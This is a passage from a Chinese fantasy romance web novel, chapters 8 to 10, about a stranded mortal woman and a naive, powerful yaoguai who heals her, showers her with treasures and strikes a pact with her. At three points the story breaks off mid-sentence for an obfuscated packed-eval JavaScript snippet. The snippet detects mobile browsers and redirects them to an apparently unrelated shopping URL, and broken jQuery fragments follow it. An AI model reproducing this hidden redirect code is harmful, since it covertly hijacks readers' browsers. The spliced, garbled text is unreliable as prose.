“太丢人了,”她在心里制止自己,“有什么好哭的?”
顶多不就是这几天的活重干一遍,多大点事!
她想是这么想的,眼睛却不听她使唤,一个劲地溢出泪水,脸上的湿痕揩都揩不干净。
妖怪估摸着也没见过一个人能有这许多眼泪,不知所措地张了张嘴,想哄哄她。但他在哄女孩子这方面可以说是经验为零,不光如此,连人话都不怎么精通,不知道该从何哄起,只得又闭上嘴,徒劳地望着她。
叶尘音脸上忽然微微一热。
妖怪手足无措之下,竟然本能地伸了手过来,企图给她擦眼泪。那好似寻常人发烧似的指腹摸在她脸上,热意细细密密地游走,隐约有点发烫。
两人不可避免地靠得很近,叶尘音一抬眼,看见那双日华石似的眼睛里,当当正正地照出了她此刻狼狈的影子。
她猛然间退开了两步。
这说明安慰无效,妖怪越发六神无主,只得拼命地又想了一会,单手打了个特殊的手印。
潮气随之涌动,水滴在他指尖凝结成细小的水流,流动着变成了一个丑了吧唧的笑脸。
和叶尘音方才画出来哄自己的那个笑脸一模一样,连她手抖导致的混乱线条都原原本本地复刻了出来,模仿得倒真是挺像。
叶尘音一个恍惚,水灵画就的笑脸就被推到眼前,龇牙咧嘴地和她四目相对,那傻兮兮的表情几乎显出了一丝嘲讽意味。
笑脸后面的妖怪期待地望着她。
“你有灵力,真了不起。”叶尘音觉得自己的神魂几乎是飘在半空中,看着地上的自己咬牙一拳挥过去。那张笑脸被她打散了,重新化作了缥缈的水汽,散于无形。
她听见自己说,“我知道你不是凡人,不用特意炫耀给我看!是,你灵力高强,我什么都做不成,遇上什么事都没有办法,所以你就可以随便摆弄我,随便左右我……”
叶尘音感觉惨不忍睹,简直想捂住地上那个自己的嘴,叫她别再说了——说这些废话有什么用,除了一时痛快以外,半点好处都没有,蠢不蠢?
光是蠢倒也没什么,人没有不犯蠢的,但不能在要命的时候犯蠢啊!
她对面是一只灵力高强的妖怪,还不太通人性。他“好心好意”想帮忙,都能把她玩得半死,要是惹毛了他呢?
他再拿水灵绞她一次,她还能不能活了?
可是她阻止不了,只能眼看着自己犯蠢,噼里啪啦一通嘴炮。这还不算完,最后还带出了一句,“如果有的选,谁愿意做一个无能为力的凡人,谁不想做来去自由的仙人妖怪?”
“我一定是疯了,”她无力地想,“就非得让死妖怪知道我惦记着修行,惦记着易筋洗髓吗?”
这和直接告诉他她想要妖龙骨有什么两样,一定是疯了吧。
妖怪想必有生以来也是第一次被一个柔弱的凡人吼到脸上,被她骂得甚至都懵住了,半
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524539|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晌,张了张嘴。也不知道是还想安慰她,还是被骂得想还嘴,但无论是哪一种,他贫瘠的语言能力都不允许。
叶尘音秃噜出来这一长串,仿佛吐出了一股积压已久的长气,她胸口剧烈起伏,积攒了十几年的胸中块垒好似裂开了一条窄缝。
离体似的神魂循着这条窄缝归了位,顷刻间,她后知后觉地出了一身冷汗。
而妖怪依然沉默着,只无声地望着她,连四周的风都像是一起安静下来。
他会是什么反应?
叶尘音轻轻咬了下嘴唇,知道懊悔也没有用,得赶紧找点话找补回来,起码也得缓解眼前的尴尬。
只是不知道该说什么好,说“我不是冲你”吧,那肯定太假。还是趁妖怪反应过来之前老老实实道歉的好,人在房檐下不得不低头,就是得组织一下语言……
她还没想好说什么,妖怪却没给她这个说话的机会,居然像个吵不赢架赌气的凡人似的,扭头就走。
他甚至都没用什么瞬行、水遁之类的高级术法,就是和人一样用两条腿走,还特意给她甩下了一个黑白分明的背影。
“……”
叶尘音原地愣怔片刻,迷惑地看着那背影隐入了一片焦黑中,也不知道该不该松一口气。
要是他真就只是给她甩个脸子看,那可就太好了,希望他不要回头再找她算账。
心神放松下来的一瞬间,她觉得自己浑身的力气都像是被抽干了,甚至都不知道自己是怎么回到山洞里的。
“以后绝不能再这么意气用事了,”她警告自己,“和这妖怪起了冲突有什么好处?就算他没想弄死我,难道他把我丢在这里一个人自生自灭,就好了吗?”
何况平心而论,人家用水灵给她画笑脸,那也不是炫耀。那是看她用这种方式安慰自己,才有样学样地学来哄她的,其他事不说,这件事上真是一片好意。
是她冲动了,多日以来的无能为力烧成了这一把邪火,但愿不会真造成什么悔之不及的后果。
“下次再见到的时候,道个歉吧。”叶尘音无声地想着。
她今天就只吃了两口生鱼肉,没吃完的那条鱼还掉在了外面,沾了灰和泥,肯定是不能再吃了。还好山洞里还有妖怪送过来的吃食,也全都是鱼,妖怪学着她堆叠贝壳碗的样子,整整齐齐地摆在了一起。
看数量,恐怕她得吃四五天,能不能放那么久还不好说。
她草草收拾出一条鱼,吃到肚子里,仍然有那种暖洋洋的感觉,从胃底一直涌到四肢百骸。隔了一会儿,她才反应过来这其实是灵气。
要不是她和散仙们一起生活了很久,也吃到过蕴含灵气的食物,还真认不出来。
叶尘音顿了顿,不期然间想起妖怪曾经同她说,“龙不吃你这样没灵气的”。
也就是说,妖龙喜欢灵气充盈的食物了?
北昆仑也追捧灵气丰盈的东西,灵气越丰富,越是上品。以她那前未婚夫孟景的地位,吃的用的都是好东西,但比这条鱼还灵气充沛的,她还真没见过多少。
传闻妖龙是深海之王,海中奇异珍宝,都属龙之所有。
他给她带来的,是龙的食物吗?
8. 上元灯
火……许许多多的火焰,星星点点,摇曳散落。
无数灯火在她身边汇聚,像一条地上的银河。
北昆仑虽然是高悬海外的仙家境界,散仙们却到底都是从人间来的,带来了许多与人间相仿的节庆风俗。他们也有年关,也过上元,上元节的时候,也和凡人们一样放灯。
年轻的散仙们同游灯会,就不局限于地面,天上水中,人影与光影交织,别是一番风景。
如此盛事,自然得精心妆扮了才能出门,叶尘音内穿一袭光艳的霓裳,外罩一条毛茸茸的雀毛斗篷,眉眼都用粉黛细细地描绘过,这才提着一盏美人灯上了街。
灯会上人人都打扮,她置身其中,仍然显眼,人与灯交相辉映,引得不少年岁相仿的少年们频频回顾。
有些少年脸皮格外厚实,看她只身一人,或按落飞剑,或踏水而来,又或从夜风里凭空化形,各显神通地撂开了同伴,来找她搭话。
叶尘音含着笑容,逐个礼貌回绝了,安静地等在一座犹如白虹的长桥下,等孟景来赴约。
孟景还没有来。
叶尘音也不着急,她等待孟景已经成了一种习惯——她的未婚夫是南昆仑顶尖的散仙,名号已经挂进了高居云上的昆仑仙都,眼看过几年,他就将成就灵骨,成为真正的昆仑仙人,前途无量。
至于她嘛,只是个凡女,被孟景养在北昆仑的未婚妻,一个无所事事的闲人。
人生说穿了不过三万个朝夕,既然她已经归孟景所有,这三万个朝夕当然也是,孟景想怎么挥霍,都是他的权利。
孟景不在的时候,她才有权自行支配。无论是去旁听散仙们的讲堂,还是醉心于饮食百味,再或者,读书、听戏……都无所谓,都是她打发时间的自娱自乐。
她唯一的正事,就是在孟景需要的时候陪伴他,在孟景不在的时候等待他——总而言之,和闺中小姐们养的灵宠差不多。
时间对灵宠们没有意义,于她,又能有什么意义呢?
她任凭自己的思绪在九天十地里翾飞,人却仍然噙着恰到好处的微笑立在桥下。轻盈的裙摆随着寒风翻卷,一眼望去,连她这个人也像一盏过于逼真的美人灯。
不管孟景从哪个方向出现,看见她的时候都得惊艳一番,既然她统共就只有这么一件正事,自然也就得做得周全。
灯火阑珊,笑声与人语声交织。点点花灯飘向浩渺的云和月,月亮已经升到中天了。
孟景仍然没出现。
叶尘音依然没露出一丝不耐烦的神色,依旧耐心地等着。
“也许他正修炼到了某个重要的关窍,也或者,他有什么急事要办呢。”她漫无边际地想,“这都没什么。”
反正也只是多等一个时辰,或者两个时辰罢了。今晚到处都是灯火,到处都是人,她难道还会觉得冷、还会寂寞吗?
她仰头往漫天的灯影望去。这会儿已经是子夜之交了,人们都在陆陆续续地放飞手里的花灯——这是北昆仑的特殊习俗,据说能升上头顶云海的花灯,有可能会被天上仙都的上仙们捡到,所以“放灯”就是上元灯会里最重要的一项仪式。
每一点飘摇的灯火都寄存着一个心愿,大多数都是盼望修行顺遂的。也有些尘缘重的散仙们为亲朋好友祈福,还有求财的、求姻缘的……虽然也不真指望仙人们帮忙实现愿望,但总之是个念想。
这时候,飞天遁地的散仙,好像也和凡人不差什么了。
孟景和她早约好了今夜一起放灯。他自己准备的是一只踏云真君灯,给她挑了一盏望月美人灯作陪,说这是“英雄美人,自古相配”。
还在窗下和她一起写心愿帖……他的愿望不消说,“得成仙骨,以证大道”;叶尘音一介凡女,心愿没他那么高屋建瓴,她只写了一条,但愿眼下的平静生活能长长久久。
孟景看了,还笑她,“就这样?你就没有点远大的梦想?”
叶尘音只道:“眼前已经算得上岁月静好啦,若能一直这样,我就别无所求了。”
“也是,”他点点头,又笑,“可这点愿望,何必去求仙都的上仙?求我就够了。”
求我就够了……
她呆呆仰着头,看见两盏花灯飘飘摇摇,一起升到了半空。一盏是她熟悉的那个踏云真君,另一盏则是云上天女的造型,明丽光艳,朗照四方。
这两盏花灯并肩而起,你追我赶地越飞越高,须臾间没入天上璀璨的灯海里,像一对逍遥云上的神仙眷侣。
“也是,能配真君的当然是天女。”叶尘音想,“一盏普通的‘望月美人’,配踏云真君,多奇怪啊。”
灯已经乘着风飞走了,以叶尘音的眼力再找不到。倒是放灯的两个人,乘着一叶仙器从空中翩然而下,在她的视野里越发清晰起来。
孟景和一个姑娘并肩站在那叶片形状的仙器上,那姑娘随意地将没用的灯座丢到孟景怀里,眉梢眼角,都是近乎于睥睨的笑容。千灯朗照,她的面容几乎发出光辉。
孟景自恃根骨卓绝,一向是个不容旁人违逆的傲性,对这姑娘竟没有半点脾气。两个人仍旧有说有笑,降落到了桥拱最高处,问桥边的小摊贩买了些零嘴,又牵着手乘着仙器往灯火通明处去了。
叶尘音知道那姑娘是谁,仙都山主的女儿,昆仑说得上名号的“天之骄子”里,她就是其中一位。
隔着云泥似的天堑,她也生不出什么嗔恨之心,望着女散仙的背影,她隐约只觉得羡慕。
她一直站在原地,望着仙器如流星一般消失,直到彻底看不见了,她还怔忪地望着他们消失的方向。一盏孤零零的美人灯,不足以温暖她暴露在寒风中的手,她轻轻曲了曲手指,指节冻得好似有点麻木。
寒风将麻木感吹到了她全身,叶尘音动了动脚踝,感觉自己的身体好像和意志隔了一层。意念仍然活着,肢体却宛然已是一具冻毙的僵尸。
意念活得也挺奇怪,正常来说,亲眼目睹了这一切,她本应该心碎,应该冲上去愤而质问,就像是戏本里那些有同样遭遇的痴心女一样……然而她没有。
她又觉得也许这是因为自己胆怯的缘故,那么,至少她应该心痛地掩面而去,飞奔到没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524540|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人的地方,再痛痛快快地哭一场。可是她也没有。
好奇怪。人被冻住了,难道情绪就会跟着一起被冻住吗?
她也不是一点不伤心,相伴了近十年,未婚夫忽然有了新欢,是个人都得难过。可这本该翻天覆地的伤心难过,在她的胸腔里竟只是回旋了片刻,就悄无声息地退潮了,露出来底下一个现实而冷硬的问题。
她想:倘若孟景想要毁婚的话,那,她还能留在北昆仑吗?
也许是她在寒风里站了太久,身体自发启动了保护机制,就在她六神无主的时候,僵冷的手指上忽然涌上来一股奇异的温暖。
一开始只是一丝半点,小心试探着钻进了她的经脉,渐渐发现能在她血脉中通行,这才大胆起来,径直涌入了四肢百骸。
她好像是被温泉冲刷了一遍,很快就不觉得冷了,寒夜里的风被阻拦在外,仿佛与她隔了一层模糊的琉璃。
麻木感渐渐消退,她才发现自己浑身上下都在诡异地酸痛,且提不起一丝力气,好似刚刚被发配边关,进行了一通重体力劳动。
隐隐约约的,她还听见有人在她耳边叫,“醒醒!”
叶尘音抬起千钧巨石似的眼睫,漫天的花灯都变成了眼前乱转的金星。她头昏眼花,费了好半天的工夫,才终于辨认出了眼前的人是谁。
其实也不能全怪她眼花,主要还是对方凑得太近了——此妖对礼貌的社交距离全无概念,鼻尖几乎怼到了她脸上,正在全神贯注地研究她有气没气,她甚至能清晰地感到他的呼吸。
叶尘音费劲地想扒拉开他的脸。妖怪看她恢复了意识,如释重负地松了口气。
不像是庆幸她还活着,倒有点像是她从前流浪时遇上的三脚猫大夫,在感叹“好悬没有给她治死”。
叶尘音缓了一会,才慢半拍地意识到,妖怪一直抓着她的手,他的灵力正源源不断地注入她体内,一寸寸漫过她心肝脾肺——这其实是个挺亲密的行为,默认是仙家眷侣才能做的事,属于做了就得说“我会负责”的那种。
但现在亲密不亲密、逾矩不逾矩,根本不重要,重要的是这妖怪下手没轻没重的,还给她疏导经脉,她怕不是得变成个残废?!
叶尘音赶紧动了动被妖怪握着的那只手,又动了动脚。还行,哪都没断。
她目光这才聚焦到了妖怪脸上。妖怪一副如临大敌的样子,桃花眼睁得溜圆,额头上几乎见了汗,好像个拙劣炼器师正在精雕细琢什么稀世奇珍。
叶尘音没忍住笑了一声。只发出了这点动静,她就感觉喉咙里像是被刀捅了。
妖怪虽然听不懂人话,但居然挺看得懂人的脸色,一招手,给她弄来了一个装满清水的螺壳。
她又劳累又淋雨的才生这一场大病,说来得有一半是拜他所赐。叶尘音也不跟他客气,就着妖怪的手小口小口地喝水。
水仍旧不是凡水,流经喉咙的时候,好似一通微雨浇进荒漠。喝完了半杯水,她感觉好受多了,嗓子不冒烟了,也有了一点说话的力气。
她声音沙哑地问:“我睡了多久?”
9. 螺壳汤
“我不知道,”妖怪简短地说道,“我来的时候,你就是这样了。”
说话的时候,他手上的灵力就停下了,好像担心分神说话影响他微操似的,说完了话,他才继续给她输灵力。
暖意浸润着五脏六腑,将她脏腑里的冷和痛一点一点泡开了,洗净了,又检查了一遍,才算满意,河水似的开始继续往上流。
叶尘音轻轻地呼出了一口气,脏腑间那股沉重的疲惫感一扫而空,说不出的暖和清爽。她就懒洋洋地窝在稻草上,等着妖怪给她继续梳理全身经脉。
她感觉妖怪的灵力好似不太擅长疗愈,他放个火下个雨都是信手拈来,横穿风暴不在话下,但这会儿帮她治病就有点费劲。早之前处理他自己手臂上那咒毒,也挺费劲。
不知道当时到底是谁伤了他。
妖怪自己也有自知之明,弄得又认真、又缓慢。灵气循着胸腔流到她喉间,他只敢用一点灵力,哪怕不够使,也就只用这一点力反反复复地梳理,实在是一种慢工出细活的医疗态度。
叶尘音看着他,感觉像看见了一只幼虎,正缩着爪想拂去蝴蝶翅膀上沾染的尘埃。
其实保险起见,她现在就应该制止,可她的危机感居然撂了挑子,死活升不起来。
她模模糊糊地想起了以前……在北昆仑的时候,上元节过后,她情绪动荡,再加上吹了一晚上冷风,回去之后大病一场。
这事少不得传到了孟景耳朵里,但他也没来探视,只打发人来给她送来了一瓶丹药——真是仙丹灵药,肉体凡胎的那点毛病,吃一粒百病全消。
肉身上的病是好了,唯独却治不了心病。
凡人什么都比散仙们低一等,心却居然是一样的么?
足足花了一刻钟的工夫,妖怪的灵力才循着她的喉咙继续上流,给她退烧降温。灵力撤走,叶尘音感觉喉咙一点也不痛了,甚至挺想开嗓唱首歌。
难怪世人都这么推崇灵力,可真是无所不能的好东西。
她视线在山洞里扫了一圈,和她睡死过去之前没什么变化,目光只得又落回了妖怪脸上。妖怪长得实在是好看,浅浅淡淡的,万般心思都上脸,这会儿如临大敌地给她疗愈,就好像满心满眼都只有她一个人似的。
“可别当真啊,”她告诉自己,“这是只什么都不懂的妖怪!”
什么都不懂的妖怪花了快小半个时辰,才总算替她梳理完经脉,收回了灵力。
叶尘音慢吞吞地坐起来,经过这一番彻头彻尾的洗礼,她身上病痛已经去了七八成,除了还有些使不上力气之外,效果不比昆仑的仙药差。
倒是这妖怪好像终于完成了一场极限运动似的,整个人都松弛下来,额头上、鼻尖上都挂上了汗珠。他甚至就地趴下了,伏在她腿边,漆黑的头发蜿蜒着流到她腿上、手上——反正之前不管是放火下雨还是穿越风暴,从没见他这么累过。
他俩到底谁是病人来着?
“你真麻烦,”妖怪有气无力地抱怨,想了想,又改口,“人真麻烦。”
叶尘音:“……”
一句“谢谢”噎在了嗓子眼里,我们这皮薄肉脆的吓到你了可真是不好意思。
妖怪又说:“我这次来,和你知会了。但当时你睡着,没听见。”
叶尘音反应了一会,才想起来上次见面那时,自己让他“再出现时知会一声”,没想到他居然还真记住了。
正好,她就着这个话题继续问:“你还记得我们上次见面那天到现在,过了多久吗?”
这个妖怪有数,他简洁地告诉她:“不到一天。”
叶尘音“唔”了声,在心里算了算:也就是说,他们昨天午后吵了一架,她回到山洞以后,人事不省地病了整整一夜,妖怪今早再来,就在山洞里看见了半死不活的她。
还好,看来她也没晕多久,没耽误什么事。
她咬了咬唇,酝酿片刻,终于说道:“昨天我说的那些话……有口无心,对不起啦。”
“抱歉。”
两个人几乎是同时开口,说完,又同时诧异地看向彼此。视线相撞的一瞬间,两人都有片刻的愣怔,然后各自失笑。
叶尘音主动示好道:“我因为无法修炼,从前……遇到了好多憋屈的事,心里很介意。但这和你没关系,昨天的事,嗯,虽然有点滑稽,但我知道你是好意。不该冲你发邪火,对不起。”
妖怪呆呆看了她一会儿,想必在他的妖生里也是头一次有人如此真诚地给他道歉。他不知道该如何应对,迟疑片刻,才说道:“不怪你,不要你道歉。我昨天做了不少让你不开心的事,是我不好。”
说完,他透白的袖子轻轻一挥——此妖没有经历过人们虚情假意的教育,十分死心眼,道歉当真带来了赔礼。
叶尘音差点被这“赔礼”的光芒扎伤了眼,定睛一看,一堆天材地宝叽里咕噜地在她这简易的“榻”上乱滚。形状虽然各异,颜色倒很统一,红、橘、黄各色散落,将她这稻草堆点缀得金光灿烂。
有一块暗红色的石头滚到了她手边,叶尘音捡它起来,震惊地发现这东西她还认识。
这是扶桑木埋在地下千万年后变生的石头,扶桑木已经十分稀有,埋在地底下上千万年的更是罕见。这要是放在仙家集市上,几十万灵元都换不来指甲盖大的一块,他居然拿足有一个拳头大的扶桑变石当赔礼?!
叶尘音瞠目结舌,又摸起来一个观察,好,这个她也认识,日华石。
日华石本身倒还好说,日光汇聚的晶石,算是仙家常见的珍宝。但这一块通体灿金,点点碎红内蕴,全无一丝杂质,用灵石来算一算,又是好几十万灵元才能换来的贵重货色。
别的也不用看了,以她的运气,随手抓的两块都值这个价,说明其他的只有更珍贵,说不好能有上百万。
叶尘音坐在少说好几千万的灵石堆里,嘴角抽了抽,“这是……?”
她就是发了个烧而已,包医疗就挺不错了,值得好几千万的赔款吗?
要是值得的话,让她天天生病也行啊!
“我能找到的所有‘火’都在这里了,都给你。”妖怪简短地说道,“还有你要的蜜糖、盐粒、浮椒、茱萸。”
“……!”
叶尘音惊呆了,茫然地接过了一大兜香料,感觉自己差点被五万斗米砸折了腰。
她拆开布袋子看了看。妖怪想必不会收拾调料,原原本本连枝带叶地给她剪了下来,十枝一束,整整齐齐地码放在里面。蜂蜜和盐都用各种瓶瓶罐罐装着,定睛一看,有的还挺眼熟,比如万年水玉雕的小瓶子,修丹道的仙人们拿它来装贵重的丹药。
林林总总这一堆东西,别说总价了,就算从中随便挑一件,把她卖了都买不起!
妖怪都这么有钱吗?
“难不成,”叶尘音心里琢磨,“他昨天离开,就是给我找这些去了?”
他就这么给她了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524541|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她要是收下了,那……是不是太欺负什么也不懂的妖怪了?
妖怪还趴在榻边仰头看她。他脸枕着自己的手背,眼睛被这一堆天材地宝照得越发晶亮,乍一看,比满榻的珍宝还更晶莹璀璨。
“你……”叶尘音又感动又好笑,艰难地克制住了自己的贪念,“都给我?这些都很稀罕的,很值钱……唉,我是说,随便拿一个放到外面,少说得有好几千号人来抢的,你知道吗?”
妖怪无所谓地说道:“没关系。我送给你的,这里不会有人敢跟你抢,小妖怪们也不敢。”
不是,她说的难道是安全问题吗?
“不……我是说,太贵重了,我不能随便收下这么贵重的东西。”叶尘音绞尽脑汁地解释,“这些玉瓯宝瓶,我可以洗出来还给你,至于这些珍稀的火种,我真的不需要……我只是想要我之前用的那个小火堆。”
妖怪十分苦恼地皱起眉,他都没见过她那个小火堆,实在不知道怎么给她弄出来,为难地抿了抿嘴唇。
他问:“一个都不行吗?”
话音里简直有一点委屈。
叶尘音默默闭上嘴,决定暂时放弃一些美好的道德品质,捡起了那块日华石,“那我就留下这个吧,我有这个就够了,多谢你。”
天成的珍宝和仙器不同,不歧视没有灵气的人,只要方法对,凡人也能用。叶尘音翻身下榻,小心地用一根木柴在那块日华石上擦了几下,木柴上很快就跳起了火苗。
有这么简单的取火办法,她以后再也不用担心火种熄灭的问题了!
身上清爽了,之前困扰她的难题也得到了解决,叶尘音心情大好,少不得想庆祝一下。
“今天我来做鱼汤喝吧,”她笑吟吟地提议道,“有了这么多调料,加上我之前捡的几样调味的花花果果,能做出很像样的饭菜了。本来想烤鱼吃,没想到生病了,这时候还是喝点鱼汤好。我拿得出手的长处不太多,但做好吃的绝对能算一个,你能不能搭把手?”
妖怪欣然从之。
叶尘音总算是发现了这妖怪的正确使用方式——对方的人族生活常识为零,她如果想让他干点什么,就得精确地描述出她的需求,顶好是拿他当个仙器去调试;好在他的配合意愿也一点不比仙器低,所以只要她描述清楚了,基本都能如愿以偿。
两个人并肩忙活了一个多时辰,到了天色渐晚的时候,山洞里飘起了鱼汤的香味。
久违的人间烟火气,叶尘音深深吸了一口,整个人原地复活,对人生又充满了希望。
虽说做得还简陋,一应工具全都有限,火候与味道调控得也没那么准确,但毕竟是一碗温暖的汤羹——天知道,她自打流落到这个荒岛以后,吃的不是酸果子就是生鱼,再没闻到过正经食物的味道。今日好不容易又闻见了,简直热泪盈眶。
一切都好起来了!
她低头喝了一口汤,胃里暖洋洋的,从心底升出一种幸福感。什么灵力、修炼、甚至找大青龙的事,一时全都抛诸脑后。
幸福这东西,分享了不会分薄,反而会加倍,她打算给妖怪推销推销。
“你能吃我们的食物吗?”她拿贝壳当碗,分了一碗汤给妖怪,怂恿他道,“尝尝呗。虽然条件所限,没能发挥出我的十成功力,但味道其实还挺不错的,你要不要试试?”
“我不要。”妖怪摇摇头,固执地将脸转开了一点。
……虽然闻起来好香。
10. 击掌约
叶尘音以为他吃不了人的食物,也没再废话,一边琢磨着既然如此,还得找点什么别的东西给他答谢,一边开开心心地独占了这一锅鱼汤。
拜妖怪灵力所赐,她此刻很有胃口,两人份的鱼汤被她一个人喝了多半。大半锅鱼汤下肚,她吃饱了,才把头从贝壳碗里拔出来。
一抬头,就见妖怪的一双眼珠子正直勾勾地盯着她的螺壳锅——眼睛一眨不眨,看得十分专注,虽然不知道在想什么,但绝对不是“不要”的样子。
她甚至还看见他喉头动了动,像是吞了一口口水。
这是反悔了,又不好意思说?
叶尘音憋住了没笑,将贝壳碗又往妖怪面前推了推,给他个台阶下。
这一次,妖怪肉眼可见地迟疑了,犹豫一会之后,还是摇了摇头,仍然说:“我不要。”
哦豁,死鸭子嘴还挺硬。
“真不要啊?那行吧。”叶尘音偷偷摸摸地一笑,作势要把锅里最后那点鱼汤全都倒进自己的贝壳碗里,拉长了声音说道,“味道虽然是浓了点,但真的挺好喝的。既然你不喝,我就一个人全喝掉咯,不能浪费。反正只有最后一碗了……”
她嘴里念念叨叨的,眼角悄没声觑着妖怪的神色,在心里偷偷地倒计时。
两手将螺壳锅端了起来,她心里悄悄地数了个“三”;奶白的鱼汤全都被倒进了贝壳碗里,她悄悄地数到了“二”;她捧起贝壳碗,嘴唇装模作样地凑近了碗边沿,夸张地吸了口香气,假装要来个一口闷。
一!
妖怪终于忍不住了,“喂!”
他朝她伸来一只手,硬邦邦地讨要道,“我的。”
叶尘音咬紧了后槽牙,忍笑忍得脸都快要抽筋了,好悬把一碗汤平平稳稳地递过去,没撒到地上。
妖怪接过贝壳碗,小心地先嗅了嗅,用鼻子确定了此物确实无毒无害,这才敢动嘴。他轻轻地抿了一口,眼睛一下就亮了,却硬是又等了一会儿,通过观察确信了这一口汤确实没有在发挥什么糟糕的作用,才放心地大快朵颐起来。
“不错吧,”叶尘音难得清闲,一直托着腮观察他的反应,此时得意道,“我虽然不能修行,但说到这烹调百味的事,我这行家可不是自己封的。”
妖怪把一碗汤喝得干干净净,才问:“你以后每天都做这个吃吗?”
“当然不是了。”叶尘音道,“难道我每顿饭都喝鱼汤吗?那多腻啊。我还会做很多好吃的呢,我前两天去看了那边的树林,好多果子、草叶,甚至花,都能拿来做菜吃。等我炒个鸟蛋柳叶,可香可清爽了。还有岛上其他的鸟啊,走兽什么的。”
她畅想道:“我编了鸟笼子,也许能抓到几只。再想法子弄个不怕火烧的网,还能做烤肉吃呢。”
妖怪在“吃”这方面毫无见识,被她这一番绘声绘色描述得心驰神往,仅剩的那点警戒心彻底被压倒了,一口咬住了叶尘音放出来的直钩。
他别别扭扭地问:“你要是做这些,也能分给我吗?我知道你们人喜欢交换,我可以和你换。”
“怎么换?”
“我用那些换。”妖怪指一指还在满榻乱滚的奇珍异宝们,“你不是说它们很珍贵吗?我还有很多类似的东西,只是不能用来取火了。你还要吗?”
叶尘音默默吞了口口水,良心再一次艰难地打败了贪欲——付出与收获忒不对等了,她以后也是要修炼的,不能不把因果报应当回事,否则一个弄不好,她要被天打雷劈。
不过这妖怪到底是从哪儿弄到这么多宝贝的,这么丰厚的身家,他该不会是那海上霸主大青龙的亲儿子吧?
“我不要这些。”叶尘音循循善诱,和这“大青龙的亲儿子”商量,“我想要你没事的时候能和我聊聊天,帮我捕个猎,哦,还有保护我的人身安全。”
妖怪似懂非懂地一扬眉。
“我一个人待在岛上,好无聊啊,连个说话的人都没有。”叶尘音试探道,“我们人是喜欢群居的物种,不能老是离群索居。我想你陪我聊聊天,聊什么都行,你不知道人间事,那聊聊海上的事也行。附近有没有好玩的岛屿,有没有除了你以外的其他妖怪,它们长什么样子……”
她一边说着,一边谨慎地观察着妖怪的脸色,唯恐这谨慎的怪物听出来她是在绕着弯子打听大青龙的消息。
还好,妖怪对她也不似从前那么防备了,毫没怀疑地点了点头。
“还有,岛上是有很多能吃的飞鸟灵兽,但没有一个是好对付的主。倘若我自己去抓,那只好碰运气了,一个弄不好,还说不定谁吃谁呢。”最关键的条件谈妥了,叶尘音心底轻松下来,笑说,“换成你,就简单多了。你提供食材,我负责料理好投喂你,我们合作,哦?”
这也不难办到,妖怪又点了点头。
“最后一条,你也看到了,我没有灵力傍身。护身的仙器也几乎是没法用了,现在我全身上下只有一把刀。”叶尘音继续说,“岛上也不止一只妖兽吧?再来一只,随随便便就能吃了我,我每天都提心吊胆的。”
她总结道,“保护厨子的生命安全,是你一直有美食吃的前提条件。”
“好。”妖怪高度凝练地复述道,“陪你说话,帮你狩猎,保护你。还有别的吗?”
被这双日华石似的眼睛真诚地望着,叶尘音简直感到良心一阵微微的刺痛,觉得自己像个仗着顾客不懂行情忽悠人的奸商。
“别的都是些小事,等我想到再说吧。”她压下这丝愧疚,笑眯眯地举起一只手掌,“说定了?”
妖怪“嗯”了声,表示一言为定,然而迷惑地看着她的手,不知道她这又是要干什么。
叶尘音抓起他的手,和自己双掌相击,给他普及社交常识:“这叫做‘击掌为誓’。”
条件都商定了,叶尘音旧话重提:“以后既然得常常见面了,称呼总得有一个吧。我的名字你已经知道了,可我还是不知道该怎么称呼你。你说你没名字,但要叫你‘公子’、‘阁下’什么的,你又听不惯。”
“我确实没有名字。”妖怪静静地说道,“你也说了,这里没有别人,只要你说话,我就会知道是对我说的,要称呼做什么?”
“那不一定,兴许我只是自言自语呢。”叶尘音坚持道,“再说了,称呼问题是基本的礼貌。虽说你要保护我,但也不是从此就和我连体了,我要找你的时候,总不能到处喊‘喂’吧。”
妖怪又露出了困惑的神情,“喊‘喂’有什么关系。难道在你们人间,每个人都必须有个名字吗?”
“……那不然呢?”
“好吧。”妖怪只好妥协了,但还是告诉她,“妖怪就没有。我们无论是互相辨认,还是互相呼唤什么的,都不需要名字。”
他苦恼地想了一会儿,又说,“我不会取名。如果非有一个不可,那你给我取一个吧。”
……为了一个称呼,还凭空给自己加了一桩重任!
叶尘音感觉一个重担当头压下,硬生生砸得她整个人都矮了几分。
她苦笑道:“我?取名字这个事吧,一般都是父母长辈的活,实在没有的话,至少也得是兄姐啊。我和你才认识几天呢。再说了,我一个朝生暮死的凡人,给你这么厉害的大妖怪取名……不太合适。”
“我没有父母兄姐。”妖怪平静地说道,“你来吧。”
